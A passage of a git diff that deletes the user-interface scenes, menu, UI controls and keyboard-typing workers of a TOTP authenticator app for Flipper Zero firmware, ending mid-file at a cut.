SCREEN_HEIGHT_CENTER - 5, - AlignCenter, - AlignCenter); - dialog_message_set_icon(message, &I_DolphinCommon_56x48, 72, 17); - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - } - } - - return true; -} - -void totp_scene_authenticate_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - free(plugin_state->current_scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h deleted file mode 100644 index 5ddd44a4a..000000000 --- a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_authenticate_activate(PluginState* plugin_state); -void totp_scene_authenticate_render(Canvas* const canvas, PluginState* plugin_state); -bool totp_scene_authenticate_handle_event( - const PluginEvent* const event, - PluginState* plugin_state); -void totp_scene_authenticate_deactivate(PluginState* plugin_state); diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c deleted file mode 100644 index de1c0685f..000000000 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ /dev/null @@ -1,433 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include "totp_scene_generate_token.h" -#include "../../canvas_extensions.h" -#include "../../../types/token_info.h" -#include "../../../types/common.h" -#include "../../constants.h" -#include "../../../services/config/config.h" -#include "../../scene_director.h" -#include "../token_menu/totp_scene_token_menu.h" -#include "../../../features_config.h" -#include "../../../workers/generate_totp_code/generate_totp_code.h" -#include "../../../workers/usb_type_code/usb_type_code.h" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#include "../../../workers/bt_type_code/bt_type_code.h" -#endif - -#define PROGRESS_BAR_MARGIN (3) -#define PROGRESS_BAR_HEIGHT (4) - -typedef struct { - uint8_t progress_bar_x; - uint8_t progress_bar_width; - uint8_t code_total_length; - uint8_t code_offset_x; - uint8_t code_offset_y; -} UiPrecalculatedDimensions; - -typedef struct { - char last_code[TokenDigitsCountMax + 1]; - TotpUsbTypeCodeWorkerContext* usb_type_code_worker_context; - NotificationMessage const* notification_sequence_new_token[8]; - NotificationMessage const* notification_sequence_automation[11]; - FuriMutex* last_code_update_sync; - TotpGenerateCodeWorkerContext* generate_code_worker_context; - UiPrecalculatedDimensions ui_precalculated_dimensions; - const FONT_INFO* active_font; - NotificationApp* notification_app; -} SceneState; - -static const NotificationSequence* - get_notification_sequence_new_token(const PluginState* plugin_state, SceneState* scene_state) { - if(scene_state->notification_sequence_new_token[0] == NULL) { - NotificationMessage const** sequence = &scene_state->notification_sequence_new_token[0]; - *(sequence++) = &message_display_backlight_on; - *(sequence++) = &message_green_255; - if(plugin_state->notification_method & NotificationMethodVibro) { - *(sequence++) = &message_vibro_on; - } - - if(plugin_state->notification_method & NotificationMethodSound) { - *(sequence++) = &message_note_c5; - } - - *(sequence++) = &message_delay_50; - - if(plugin_state->notification_method & NotificationMethodVibro) { - *(sequence++) = &message_vibro_off; - } - - if(plugin_state->notification_method & NotificationMethodSound) { - *(sequence++) = &message_sound_off; - } - - *(sequence++) = NULL; - } - - return (NotificationSequence*)scene_state->notification_sequence_new_token; -} - -static const NotificationSequence* - get_notification_sequence_automation(const PluginState* plugin_state, SceneState* scene_state) { - if(scene_state->notification_sequence_automation[0] == NULL) { - NotificationMessage const** sequence = &scene_state->notification_sequence_automation[0]; - - *(sequence++) = &message_blue_255; - if(plugin_state->notification_method & NotificationMethodVibro) { - *(sequence++) = &message_vibro_on; - } - - if(plugin_state->notification_method & NotificationMethodSound) { - *(sequence++) = &message_note_d5; //-V525 - *(sequence++) = &message_delay_50; - *(sequence++) = &message_note_e4; - *(sequence++) = &message_delay_50; - *(sequence++) = &message_note_f3; - } - - *(sequence++) = &message_delay_50; - - if(plugin_state->notification_method & NotificationMethodVibro) { - *(sequence++) = &message_vibro_off; - } - - if(plugin_state->notification_method & NotificationMethodSound) { - *(sequence++) = &message_sound_off; - } - - *(sequence++) = NULL; - } - - return (NotificationSequence*)scene_state->notification_sequence_automation; -} - -static void update_totp_params(PluginState* const plugin_state, size_t token_index) { - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(totp_token_info_iterator_go_to(iterator_context, token_index)) { - totp_generate_code_worker_notify( - scene_state->generate_code_worker_context, TotpGenerateCodeWorkerEventForceUpdate); - } -} - -static void draw_totp_code(Canvas* const canvas, const PluginState* const plugin_state) { - const SceneState* scene_state = plugin_state->current_scene_state; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - uint8_t code_length = totp_token_info_iterator_get_current_token(iterator_context)->digits; - - canvas_draw_str_ex( - canvas, - scene_state->ui_precalculated_dimensions.code_offset_x, - scene_state->ui_precalculated_dimensions.code_offset_y, - scene_state->last_code, - code_length, - scene_state->active_font); -} - -static void on_new_token_code_generated(bool time_left, void* context) { - PluginState* const plugin_state = context; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(totp_token_info_iterator_get_total_count(iterator_context) == 0) { - return; - } - - SceneState* scene_state = plugin_state->current_scene_state; - const TokenInfo* current_token = totp_token_info_iterator_get_current_token(iterator_context); - const FONT_INFO* const font = scene_state->active_font; - - uint8_t char_width = font->charInfo[0].width; - scene_state->ui_precalculated_dimensions.code_total_length = - current_token->digits * (char_width + font->spacePixels); - scene_state->ui_precalculated_dimensions.code_offset_x = - (SCREEN_WIDTH - scene_state->ui_precalculated_dimensions.code_total_length) >> 1; - scene_state->ui_precalculated_dimensions.code_offset_y = - SCREEN_HEIGHT_CENTER - (font->height >> 1); - - if(time_left) { - notification_message( - scene_state->notification_app, - get_notification_sequence_new_token(plugin_state, scene_state)); - } - - totp_scene_director_force_redraw(plugin_state); -} - -static void on_code_lifetime_updated_generated(float code_lifetime_percent, void* context) { - PluginState* const plugin_state = context; - SceneState* scene_state = plugin_state->current_scene_state; - scene_state->ui_precalculated_dimensions.progress_bar_width = - (uint8_t)((float)(SCREEN_WIDTH - (PROGRESS_BAR_MARGIN << 1)) * code_lifetime_percent); - scene_state->ui_precalculated_dimensions.progress_bar_x = - ((SCREEN_WIDTH - (PROGRESS_BAR_MARGIN << 1) - - scene_state->ui_precalculated_dimensions.progress_bar_width) >> - 1) + - PROGRESS_BAR_MARGIN; - totp_scene_director_force_redraw(plugin_state); -} - -void totp_scene_generate_token_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - - plugin_state->current_scene_state = scene_state; - FURI_LOG_D(LOGGING_TAG, "Timezone set to: %f", (double)plugin_state->timezone_offset); - - scene_state->last_code_update_sync = furi_mutex_alloc(FuriMutexTypeNormal); - if(plugin_state->automation_method & AutomationMethodBadUsb) { - scene_state->usb_type_code_worker_context = totp_usb_type_code_worker_start( - scene_state->last_code, - TokenDigitsCountMax + 1, - scene_state->last_code_update_sync, - plugin_state->automation_kb_layout); - } - - scene_state->active_font = available_fonts[plugin_state->active_font_index]; - scene_state->notification_app = furi_record_open(RECORD_NOTIFICATION); - scene_state->notification_sequence_automation[0] = NULL; - scene_state->notification_sequence_new_token[0] = NULL; - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - - if(plugin_state->automation_method & AutomationMethodBadBt) { - if(plugin_state->bt_type_code_worker_context == NULL) { - plugin_state->bt_type_code_worker_context = totp_bt_type_code_worker_init(); - } - totp_bt_type_code_worker_start( - plugin_state->bt_type_code_worker_context, - scene_state->last_code, - TokenDigitsCountMax + 1, - scene_state->last_code_update_sync, - plugin_state->automation_kb_layout); - } -#endif - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - scene_state->generate_code_worker_context = totp_generate_code_worker_start( - scene_state->last_code, - totp_token_info_iterator_get_current_token(iterator_context), - scene_state->last_code_update_sync, - plugin_state->timezone_offset, - &plugin_state->crypto_settings); - - totp_generate_code_worker_set_code_generated_handler( - scene_state->generate_code_worker_context, &on_new_token_code_generated, plugin_state); - - totp_generate_code_worker_set_lifetime_changed_handler( - scene_state->generate_code_worker_context, - &on_code_lifetime_updated_generated, - plugin_state); - - update_totp_params( - plugin_state, totp_token_info_iterator_get_current_token_index(iterator_context)); -} - -void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_state) { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(totp_token_info_iterator_get_total_count(iterator_context) == 0) { - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER - 10, - AlignCenter, - AlignCenter, - "Token list is empty"); - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER + 10, - AlignCenter, - AlignCenter, - "Press OK button to add"); - return; - } - - const SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - - canvas_set_font(canvas, FontPrimary); - const char* token_name_cstr = - furi_string_get_cstr(totp_token_info_iterator_get_current_token(iterator_context)->name); - uint16_t token_name_width = canvas_string_width(canvas, token_name_cstr); - if(SCREEN_WIDTH - token_name_width > 18) { - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER - 20, - AlignCenter, - AlignCenter, - token_name_cstr); - } else { - canvas_draw_str_aligned( - canvas, 9, SCREEN_HEIGHT_CENTER - 20, AlignLeft, AlignCenter, token_name_cstr); - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 0, SCREEN_HEIGHT_CENTER - 24, 9, 9); - canvas_draw_box(canvas, SCREEN_WIDTH - 10, SCREEN_HEIGHT_CENTER - 24, 9, 9); - canvas_set_color(canvas, ColorBlack); - } - - draw_totp_code(canvas, plugin_state); - - canvas_draw_box( - canvas, - scene_state->ui_precalculated_dimensions.progress_bar_x, - SCREEN_HEIGHT - PROGRESS_BAR_MARGIN - PROGRESS_BAR_HEIGHT, - scene_state->ui_precalculated_dimensions.progress_bar_width, - PROGRESS_BAR_HEIGHT); - if(totp_token_info_iterator_get_total_count(iterator_context) > 1) { - canvas_draw_icon(canvas, 0, SCREEN_HEIGHT_CENTER - 24, &I_totp_arrow_left_8x9); - canvas_draw_icon( - canvas, SCREEN_WIDTH - 8, SCREEN_HEIGHT_CENTER - 24, &I_totp_arrow_right_8x9); - } - - if(plugin_state->automation_method & AutomationMethodBadUsb) { - canvas_draw_icon( - canvas, -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - SCREEN_WIDTH_CENTER - - (plugin_state->automation_method & AutomationMethodBadBt ? 33 : 15), -#else - SCREEN_WIDTH_CENTER - 15, -#endif - - SCREEN_HEIGHT_CENTER + 12, - &I_hid_usb_31x9); - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(plugin_state->automation_method & AutomationMethodBadBt && - plugin_state->bt_type_code_worker_context != NULL && - totp_bt_type_code_worker_is_advertising(plugin_state->bt_type_code_worker_context)) { - canvas_draw_icon( - canvas, - SCREEN_WIDTH_CENTER + - (plugin_state->automation_method & AutomationMethodBadUsb ? 2 : -15), - SCREEN_HEIGHT_CENTER + 12, - &I_hid_ble_31x9); - } -#endif -} - -bool totp_scene_generate_token_handle_event( - const PluginEvent* const event, - PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - if(event->input.type == InputTypeLong && event->input.key == InputKeyBack) { - return false; - } - - SceneState* scene_state; - if(event->input.type == InputTypeLong) { - if(event->input.key == InputKeyDown && - plugin_state->automation_method & AutomationMethodBadUsb) { - scene_state = (SceneState*)plugin_state->current_scene_state; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_usb_type_code_worker_notify( - scene_state->usb_type_code_worker_context, - TotpUsbTypeCodeWorkerEventType, - totp_token_info_iterator_get_current_token(iterator_context)->automation_features); - notification_message( - scene_state->notification_app, - get_notification_sequence_automation(plugin_state, scene_state)); - return true; - } -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - else if( - event->input.key == InputKeyUp && - plugin_state->automation_method & AutomationMethodBadBt) { - scene_state = (SceneState*)plugin_state->current_scene_state; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_bt_type_code_worker_notify( - plugin_state->bt_type_code_worker_context, - TotpBtTypeCodeWorkerEventType, - totp_token_info_iterator_get_current_token(iterator_context)->automation_features); - notification_message( - scene_state->notification_app, - get_notification_sequence_automation(plugin_state, scene_state)); - return true; - } -#endif - } else if(event->input.type == InputTypePress || event->input.type == InputTypeRepeat) { - switch(event->input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t current_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - totp_roll_value_size_t( - ¤t_token_index, - 1, - 0, - totp_token_info_iterator_get_total_count(iterator_context) - 1, - RollOverflowBehaviorRoll); - - update_totp_params(plugin_state, current_token_index); - break; - } - case InputKeyLeft: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t current_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - totp_roll_value_size_t( - ¤t_token_index, - -1, - 0, - totp_token_info_iterator_get_total_count(iterator_context) - 1, - RollOverflowBehaviorRoll); - - update_totp_params(plugin_state, current_token_index); - break; - } - case InputKeyOk: - break; - case InputKeyBack: - break; - default: - break; - } - } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { - totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); - } - - return true; -} - -void totp_scene_generate_token_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - - totp_generate_code_worker_stop(scene_state->generate_code_worker_context); - - furi_record_close(RECORD_NOTIFICATION); - - if(plugin_state->automation_method & AutomationMethodBadUsb) { - totp_usb_type_code_worker_stop(scene_state->usb_type_code_worker_context); - } -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(plugin_state->automation_method & AutomationMethodBadBt) { - totp_bt_type_code_worker_stop(plugin_state->bt_type_code_worker_context); - } -#endif - - furi_mutex_free(scene_state->last_code_update_sync); - - free(scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h deleted file mode 100644 index 3f7bc0408..000000000 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_generate_token_activate(PluginState* plugin_state); -void totp_scene_generate_token_render(Canvas* const canvas, PluginState* plugin_state); -bool totp_scene_generate_token_handle_event( - const PluginEvent* const event, - PluginState* plugin_state); -void totp_scene_generate_token_deactivate(PluginState* plugin_state); diff --git a/applications/external/totp/ui/scenes/standby/standby.c b/applications/external/totp/ui/scenes/standby/standby.c deleted file mode 100644 index 5cd6bae6a..000000000 --- a/applications/external/totp/ui/scenes/standby/standby.c +++ /dev/null @@ -1,12 +0,0 @@ -#include "standby.h" -#include -#include "../../constants.h" - -void totp_scene_standby_render(Canvas* const canvas) { - canvas_draw_icon(canvas, SCREEN_WIDTH - 56, SCREEN_HEIGHT - 48, &I_DolphinCommon_56x48); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 5, 10, AlignLeft, AlignTop, "CLI command"); - - canvas_draw_str_aligned(canvas, 5, 24, AlignLeft, AlignTop, "is running now"); -} \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/standby/standby.h b/applications/external/totp/ui/scenes/standby/standby.h deleted file mode 100644 index 78e2b0915..000000000 --- a/applications/external/totp/ui/scenes/standby/standby.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -#include - -void totp_scene_standby_render(Canvas* const canvas); \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c deleted file mode 100644 index 1340b5a8e..000000000 --- a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.c +++ /dev/null @@ -1,180 +0,0 @@ -#include "totp_scene_token_menu.h" -#include -#include -#include "../../ui_controls.h" -#include "../../common_dialogs.h" -#include "../../constants.h" -#include "../../scene_director.h" -#include "../../../services/config/config.h" -#include "../../../types/token_info.h" -#include "../generate_token/totp_scene_generate_token.h" -#include "../add_new_token/totp_scene_add_new_token.h" -#include "../app_settings/totp_app_settings.h" -#include - -#define SCREEN_HEIGHT_THIRD (SCREEN_HEIGHT / 3) -#define SCREEN_HEIGHT_THIRD_CENTER (SCREEN_HEIGHT_THIRD >> 1) - -typedef enum { AddNewToken, DeleteToken, AppSettings } Control; - -typedef struct { - Control selected_control; -} SceneState; - -void totp_scene_token_menu_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - plugin_state->current_scene_state = scene_state; -} - -void totp_scene_token_menu_render(Canvas* const canvas, PluginState* plugin_state) { - const SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(totp_token_info_iterator_get_total_count(iterator_context) == 0) { - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - 5, - 72, - 21, - "Add new token", - scene_state->selected_control == AddNewToken); - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - 39, - 72, - 21, - "Settings", - scene_state->selected_control == AppSettings); - } else { - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - SCREEN_HEIGHT_THIRD_CENTER - 8, - 72, - 16, - "Add new token", - scene_state->selected_control == AddNewToken); - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - SCREEN_HEIGHT_THIRD + SCREEN_HEIGHT_THIRD_CENTER - 8, - 72, - 16, - "Delete token", - scene_state->selected_control == DeleteToken); - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 36, - SCREEN_HEIGHT_THIRD + SCREEN_HEIGHT_THIRD + SCREEN_HEIGHT_THIRD_CENTER - 8, - 72, - 16, - "Settings", - scene_state->selected_control == AppSettings); - } -} - -bool totp_scene_token_menu_handle_event(const PluginEvent* const event, PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - if(event->input.type == InputTypePress) { - switch(event->input.key) { - case InputKeyUp: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_roll_value_uint8_t( - &scene_state->selected_control, - -1, - AddNewToken, - AppSettings, - RollOverflowBehaviorRoll); - if(scene_state->selected_control == DeleteToken && - totp_token_info_iterator_get_total_count(iterator_context) == 0) { - scene_state->selected_control--; - } - break; - } - case InputKeyDown: { - const TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - totp_roll_value_uint8_t( - &scene_state->selected_control, - 1, - AddNewToken, - AppSettings, - RollOverflowBehaviorRoll); - if(scene_state->selected_control == DeleteToken && - totp_token_info_iterator_get_total_count(iterator_context) == 0) { - scene_state->selected_control++; - } - break; - } - case InputKeyRight: - break; - case InputKeyLeft: - break; - case InputKeyOk: - break; - case InputKeyBack: { - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - break; - } - default: - break; - } - } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { - switch(scene_state->selected_control) { - case AddNewToken: { - totp_scene_director_activate_scene(plugin_state, TotpSceneAddNewToken); - break; - } - case DeleteToken: { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "No", NULL, "Yes"); - dialog_message_set_header(message, "Confirmation", 0, 0, AlignLeft, AlignTop); - dialog_message_set_text( - message, - "Are you sure want to delete?", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - DialogMessageButton dialog_result = - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(dialog_result == DialogMessageButtonRight && - totp_token_info_iterator_get_total_count(iterator_context) > 0) { - if(!totp_token_info_iterator_remove_current_token_info(iterator_context)) { - totp_dialogs_config_updating_error(plugin_state); - return false; - } - - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } - break; - } - case AppSettings: { - totp_scene_director_activate_scene(plugin_state, TotpSceneAppSettings); - break; - } - default: - break; - } - } - - return true; -} - -void totp_scene_token_menu_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - - free(plugin_state->current_scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h b/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h deleted file mode 100644 index a715c9748..000000000 --- a/applications/external/totp/ui/scenes/token_menu/totp_scene_token_menu.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_token_menu_activate(PluginState* plugin_state); -void totp_scene_token_menu_render(Canvas* const canvas, PluginState* plugin_state); -bool totp_scene_token_menu_handle_event(const PluginEvent* const event, PluginState* plugin_state); -void totp_scene_token_menu_deactivate(PluginState* plugin_state); diff --git a/applications/external/totp/ui/totp_scenes_enum.h b/applications/external/totp/ui/totp_scenes_enum.h deleted file mode 100644 index 4624eddd9..000000000 --- a/applications/external/totp/ui/totp_scenes_enum.h +++ /dev/null @@ -1,43 +0,0 @@ -#pragma once - -typedef uint8_t Scene; - -/** - * @brief TOTP application scenes - */ -enum Scenes { - /** - * @brief Empty scene which does nothing - */ - TotpSceneNone, - - /** - * @brief Scene where user have to enter PIN to authenticate - */ - TotpSceneAuthentication, - - /** - * @brief Scene where actual TOTP token is getting generated and displayed to the user - */ - TotpSceneGenerateToken, - - /** - * @brief Scene where user can add new token - */ - TotpSceneAddNewToken, - - /** - * @brief Scene with a menu for given token, allowing user to do multiple actions - */ - TotpSceneTokenMenu, - - /** - * @brief Scene where user can change application settings - */ - TotpSceneAppSettings, - - /** - * @brief Scene which informs user that CLI command is running - */ - TotpSceneStandby -}; diff --git a/applications/external/totp/ui/ui_controls.c b/applications/external/totp/ui/ui_controls.c deleted file mode 100644 index 28a7d57da..000000000 --- a/applications/external/totp/ui/ui_controls.c +++ /dev/null @@ -1,138 +0,0 @@ -#include "ui_controls.h" -#include -#include "constants.h" - -#define TEXT_BOX_HEIGHT (13) -#define TEXT_BOX_MARGIN (4) - -void ui_control_text_box_render( - Canvas* const canvas, - int16_t y, - const char* text, - bool is_selected) { - if(y < -TEXT_BOX_HEIGHT) { - return; - } - - if(is_selected) { - canvas_draw_rframe( - canvas, - TEXT_BOX_MARGIN, - TEXT_BOX_MARGIN + y, - SCREEN_WIDTH - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN, - TEXT_BOX_HEIGHT, - 0); - canvas_draw_rframe( - canvas, - TEXT_BOX_MARGIN - 1, - TEXT_BOX_MARGIN + y - 1, - SCREEN_WIDTH - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN + 2, - TEXT_BOX_HEIGHT + 2, - 1); - } else { - canvas_draw_rframe( - canvas, - TEXT_BOX_MARGIN, - TEXT_BOX_MARGIN + y, - SCREEN_WIDTH - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN, - TEXT_BOX_HEIGHT, - 1); - } - - canvas_draw_str_aligned( - canvas, TEXT_BOX_MARGIN + 2, TEXT_BOX_MARGIN + 3 + y, AlignLeft, AlignTop, text); -} - -void ui_control_select_render( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t width, - const char* text, - bool is_selected) { - if(y < -TEXT_BOX_HEIGHT) { - return; - } - - if(is_selected) { - canvas_draw_rframe( - canvas, - x + TEXT_BOX_MARGIN, - TEXT_BOX_MARGIN + y, - width - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN, - TEXT_BOX_HEIGHT, - 0); - canvas_draw_rframe( - canvas, - x + TEXT_BOX_MARGIN - 1, - TEXT_BOX_MARGIN + y - 1, - width - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN + 2, - TEXT_BOX_HEIGHT + 2, - 1); - } else { - canvas_draw_rframe( - canvas, - x + TEXT_BOX_MARGIN, - TEXT_BOX_MARGIN + y, - width - TEXT_BOX_MARGIN - TEXT_BOX_MARGIN, - TEXT_BOX_HEIGHT, - 1); - } - - canvas_draw_str_aligned( - canvas, x + (width >> 1), TEXT_BOX_MARGIN + 3 + y, AlignCenter, AlignTop, text); - canvas_draw_icon( - canvas, x + TEXT_BOX_MARGIN + 2, TEXT_BOX_MARGIN + 2 + y, &I_totp_arrow_left_8x9); - canvas_draw_icon( - canvas, x + width - TEXT_BOX_MARGIN - 10, TEXT_BOX_MARGIN + 2 + y, &I_totp_arrow_right_8x9); -} - -void ui_control_button_render( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t width, - uint8_t height, - const char* text, - bool is_selected) { - if(y < -height) { - return; - } - - if(is_selected) { - canvas_draw_rbox(canvas, x, y, width, height, 1); - canvas_set_color(canvas, ColorWhite); - } else { - canvas_draw_rframe(canvas, x, y, width, height, 1); - } - - canvas_draw_str_aligned( - canvas, x + (width >> 1), y + (height >> 1) + 1, AlignCenter, AlignCenter, text); - if(is_selected) { - canvas_set_color(canvas, ColorBlack); - } -} - -void ui_control_vscroll_render( - Canvas* const canvas, - uint8_t x, - uint8_t y, - uint8_t height, - uint8_t position, - uint8_t max_position) { - canvas_draw_line(canvas, x, y, x, y + height); - uint8_t block_height = height / MIN(10, max_position); - uint8_t block_position_y = - height * ((float)position / (float)max_position) - (block_height >> 1); - uint8_t block_position_y_abs = y + block_position_y; - if(block_position_y_abs + block_height > height) { - block_position_y_abs = height - block_height; - } - - canvas_draw_box( - canvas, - x - (UI_CONTROL_VSCROLL_WIDTH >> 1), - block_position_y_abs, - UI_CONTROL_VSCROLL_WIDTH, - block_height); -} diff --git a/applications/external/totp/ui/ui_controls.h b/applications/external/totp/ui/ui_controls.h deleted file mode 100644 index ccee4edfc..000000000 --- a/applications/external/totp/ui/ui_controls.h +++ /dev/null @@ -1,72 +0,0 @@ -#pragma once - -#include -#include - -#define UI_CONTROL_VSCROLL_WIDTH (3) - -/** - * @brief Renders TextBox control - * @param canvas canvas to render control at - * @param y vertical position of a control to be rendered at - * @param text text to be rendered inside control - * @param is_selected whether control should be rendered as focused or not - */ -void ui_control_text_box_render( - Canvas* const canvas, - int16_t y, - const char* text, - bool is_selected); - -/** - * @brief Renders Button control - * @param canvas canvas to render control at - * @param x horizontal position of a control to be rendered at - * @param y vertical position of a control to be rendered at - * @param width control width - * @param height control height - * @param text text to be rendered inside control - * @param is_selected whether control should be rendered as focused or not - */ -void ui_control_button_render( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t width, - uint8_t height, - const char* text, - bool is_selected); - -/** - * @brief Renders Select control - * @param canvas canvas to render control at - * @param x horizontal position of a control to be rendered at - * @param y vertical position of a control to be rendered at - * @param width control width - * @param text text to be rendered inside control - * @param is_selected whether control should be rendered as focused or not - */ -void ui_control_select_render( - Canvas* const canvas, - int16_t x, - int16_t y, - uint8_t width, - const char* text, - bool is_selected); - -/** - * @brief Renders vertical scroll bar - * @param canvas canvas to render control at - * @param x horizontal position of a control to be rendered at - * @param y vertical position of a control to be rendered at - * @param height control height - * @param position current position - * @param max_position maximal position - */ -void ui_control_vscroll_render( - Canvas* const canvas, - uint8_t x, - uint8_t y, - uint8_t height, - uint8_t position, - uint8_t max_position); diff --git a/applications/external/totp/version.h b/applications/external/totp/version.h deleted file mode 100644 index e6925b600..000000000 --- a/applications/external/totp/version.h +++ /dev/null @@ -1,5 +0,0 @@ -#pragma once - -#define TOTP_APP_VERSION_MAJOR (3) -#define TOTP_APP_VERSION_MINOR (2) -#define TOTP_APP_VERSION_PATCH (0) \ No newline at end of file diff --git a/applications/external/totp/workers/bt_type_code/bt_type_code.c b/applications/external/totp/workers/bt_type_code/bt_type_code.c deleted file mode 100644 index 16dfcc0e8..000000000 --- a/applications/external/totp/workers/bt_type_code/bt_type_code.c +++ /dev/null @@ -1,235 +0,0 @@ -#include "bt_type_code.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "../../types/common.h" -#include "../../types/token_info.h" -#include "../type_code_common.h" -#include "../../features_config.h" -#include "../../services/config/constants.h" - -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL -#define TOTP_BT_WORKER_BT_ADV_NAME_MAX_LEN FURI_HAL_BT_ADV_NAME_LENGTH -#define TOTP_BT_WORKER_BT_MAC_ADDRESS_LEN GAP_MAC_ADDR_SIZE -#endif - -#define HID_BT_KEYS_STORAGE_PATH CONFIG_FILE_DIRECTORY_PATH "/.bt_hid.keys" - -struct TotpBtTypeCodeWorkerContext { - char* code_buffer; - uint8_t code_buffer_size; - uint8_t flags; - FuriThread* thread; - FuriMutex* code_buffer_sync; - Bt* bt; - bool is_advertising; - bool is_connected; -#if TOTP_TARGET_FIRMWARE == TOTP_FIRMWARE_XTREME_UL - char 